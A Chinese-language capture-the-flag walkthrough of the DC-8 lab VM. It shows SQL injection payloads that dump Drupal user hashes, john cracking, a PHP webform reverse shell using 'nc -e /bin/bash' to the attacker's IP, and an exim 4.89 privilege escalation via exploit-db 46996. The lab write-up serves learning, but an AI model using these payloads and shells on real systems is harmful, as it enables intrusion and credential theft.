前言:
本文将讲述通过信息收集,再web站点的sql注入漏洞加john爆破登录后台,然后找到远程代码执行漏洞getshell,最后用exim4命令提权漏洞进行权限提升拿到最终的flag。
0x00 环境
VMware 15虚拟机软件;
DC-8靶机虚拟机(NAT模式);
kali虚拟机(NAT模式),ip为:192.168.106.129
0x01 信息收集
由于两台机子都开启的是nat模式,那么是在同一个网段里面。我们就可以是用namp先进行同网段的ip存活扫描。
kali的ip为192.168.106.129,因此nmap扫描命令为:
nmap -sP 192.168.106.1/
129是kali的ip,明显,靶机的ip为192.168.106.134;
之后针对此ip进行全端口扫描,看是否开启web的端口。nmap命令为:
nmap -sS -Pn -p- 192.168.106.134
看到目标机开启了22和80端口,22是ssh协议,可以进行ssh爆破,然后再xshell远程连接,但是给了80,开了web服务,那先从web端开打,因为爆破成功率极小,除非是弱密码。
访问弹出了web页面,用谷歌插件wappalyzer识别出了这是一个drupal版本为7的 CMS搭建的,后台脚本为php,容器为apache
robots.txt文件也可访问
习惯性查看页面源码看看有没有目录遍历,发现不存在。
漏扫工具和目录扫描工具 扫描一遍.
发现扫到的目录和robots.txt里面爆出来的目录基本一样,看了一些敏感文件,并没有看到自己需要的信息,也没有登录密码。
后台登录的路径爆出来了是/user/login.
我们在主页点击Details下面的三个选项,发现url带上了nid参数,并且下面每点一个选项,会爆出一些内容,很像是sql注入的点,再url后面打个'试了试,发现爆sql错误,说明确实存在sql注入。
构造了一下,发现就是一个数值型注入。
同时,漏扫结果也报出了存在sql注入漏洞。
0x02 sql注入加john爆破拿后台登录用户密码
既然知道了存在sql注入漏洞及注入点,我们先从此下手,测试之后,发现闭合payload为:
http://192.168.106.134/?nid=1--+
order by 猜字段为1,union select 1查看一下显示位,发现返回正确但是没有看到内容为1的位置,那么让nid=-1,将存在的显示位腾出来给我门用。
直接爆数据库:
http://192.168.106.134/?nid=-1%20union%20select%20database()--+
爆表名:
http://192.168.106.134/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema='d7db'--+
发现users表,那么爆出users表的所有字段:
http://192.168.106.134/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema='d7db' and table_name='users'--+
看到name、pass字段,爆出里面的内容:
http://192.168.106.134/?nid=-1 union select group_concat(name) from users--+
http://192.168.106.134/?nid=-1 union select group_concat(pass) from users--+
爆出两个用户,密码拿去在线hash解密都没有成功。这里百度了一下john,这个用户给了一个提示,kali里面有一个密码破解工具正是john,应该是要让我们用john破解其中的hash值。
将第一个admin的hash值放入到一个hash1.txt文件中,然后是用默认的john字典进行爆破。
发现admin的hash并没有解出,再将john用户的hash放入到hash2.txt文件中,用john再默认跑一下。
结果很快的破解出了john的密码,密码为turtle
将用户密码拿到后台/user/login去登录,成功登录,
0x03 远程代码执行
在后台找一找有没有上传点,发现了一处可进行编辑的地方
且只有contact us可进行编辑,
进去之后各种写入尝试,但是发现并没有什么用,就算写入有缓存,但是缓存文件名也不知道;
百度了一下drupal7 后台getshell漏洞,发现其中有说到:
选择PHP_CODE模式(编辑php代码)并预览,预览页面载入后就会执行代码
那么是不是找到PHP_CODE模式就差不多找到写入点了。
接下来还是在contact us的编辑里面疯狂找,我发现只有webfrom的settings部分有编辑器,这里应该可以利用。
发现这个编辑器可以写入源码,左上角的源码处,点击发现写入的是html源码。
既然可以写html,那么肯定可以选择写php的代码的模式,发现编辑器的下方有个选项,点击真的有PHP_CODE
那么就可以开始写php代码了,先写了个phpinfo()看是否有显示,发现并没有
保存了之后上面就说修改已上传,但是上传路径并未给出,找了其他地方也没有;
试了system执行shell命令,发现也没有回显,按照网上的说法,php代码保存后会执行代码,这应该是在靶机上已经执行了代码,只是在后台不会显示出来。
那么我们换一种思路,让靶机在后台执行命令即可,我们并不需要看见命令执行的情况,这就可以使用nc反弹shell的方法,用system函数写入nc反弹命令保存,然后它将在靶机上执行;在此之前在kali上开启nc监听,只要靶机上一触发nc反弹命令,shell将反弹到kali上面来。
那么在编辑处先写入如下的php代码(<p>标签中我们可以任意写入文本,这里最好不要删除掉,因为有的时候网站会按照模板先解析<p>标签,如果没有可能会出错,所以不要将模板删了。):
<p>flag</p>
<?php
system("nc -e /bin/bash 192.168.106.129 7777");
?>
ip是kali的ip,端口为为接收反弹的一个kali未被占用的端口。然后kali上面执行nc监听:
nc -lvvp 7777
kali上先执行,然后我们再进行目标站点的后台编辑php代码保存。
保存后发现没有反弹呢,可能是contact us的编辑并没有结束,只是保存了其中一个设置信息而已,发现view这里要提交邮箱等信息,最后才完成。
随便填入信息,然后确定,再submit,就成功反弹shell到kali上面了。
用python命令转化为常规shell:
python -c 'import pty;pty.spawn("/bin/bash")'
根目录下并没有什么flag文件,现在并不是root权限,进步了root目录,看来需要进一步提权。
0x04 exim4命令提权
查看一下内核版本,去网上找一找会不会有对应的内核提权
Debian 4.9.51-1的,在网上找了并没有对应的内核提权漏洞,脏牛提权试过了也不行;
linux里面有个suid权限执行二进制文件,这个权限涉及的命令权限都很大。
我们用find命令查询一下这些命令:
find / -perm -u=s -type f >/dev/null
每一个都拿去百度了,发现exim命令在使用时具有root权限,并且还看到一些有关于他的提权漏洞,那么在kali里面直接使用它对应版本的exp提权。
搜索了一下,发现有很多exp脚本,那么我们先看看靶机的exim的版本信息:
发现是4.89版本的,找到kali里面对应的本地权限提升的脚本文件(也就是local privilege esc),没有的话apt-get upgrade更新一下再search.
我这里就没有,应该是kali很久没更新了,很多exp没有下载,upgrade了一下(需要等一些时间),发现出现了我想要的exp脚本。
这个46996.sh的脚本就是我们所需要的,将它上传到自己的阿里云服务器上,然后在靶机的shell上面下载此脚本,当然,如果没有服务器的人可以在kali上面开启http服务,因为是一个内网,也可以进行下载。
然后将此文件先复制到物理机上,然后xftp连接云服务器,将46996.sh拖入到服务器根目录下。
在靶机shell上用weget将46996.sh下载到本地
发现没有写入权限,只有换其他目录试,百度发现tmp目录下有写入权限
成功下载,并将46996.sh文件赋予最高可执行权限777
chmod .sh
执行脚本的时候始终报错,网上的解决方法和这个不匹配,
那么只能复制exp的代码了,在网上找到46996.sh脚本的代码,链接:https://www.exploit-db.com/exploits/46996
点击view raw查看代码,然后复制所有代码,在靶机的shell上vi新建一个exp.sh文件,然后将代码复制进去,我这里是用的xshell连接到kali操作的,最后保存,并赋予其777权限。
现在可以执行脚本了
但是执行完之后发现还是普通用户权限
单独运行提权不行,我们打开文件看看脚本的使用规则,发现共有两条使用规则:
看见第一个是default,先试试,要先exit退出到一级shelll来,然后执行第一条规则
发现还是普通用户权限,接着exit退出使用第二条规则:
./exp.sh -m netcat
发现已经是root权限,成功提权。
然后进入root目录,查看到flag文件,打开查看到flag内容: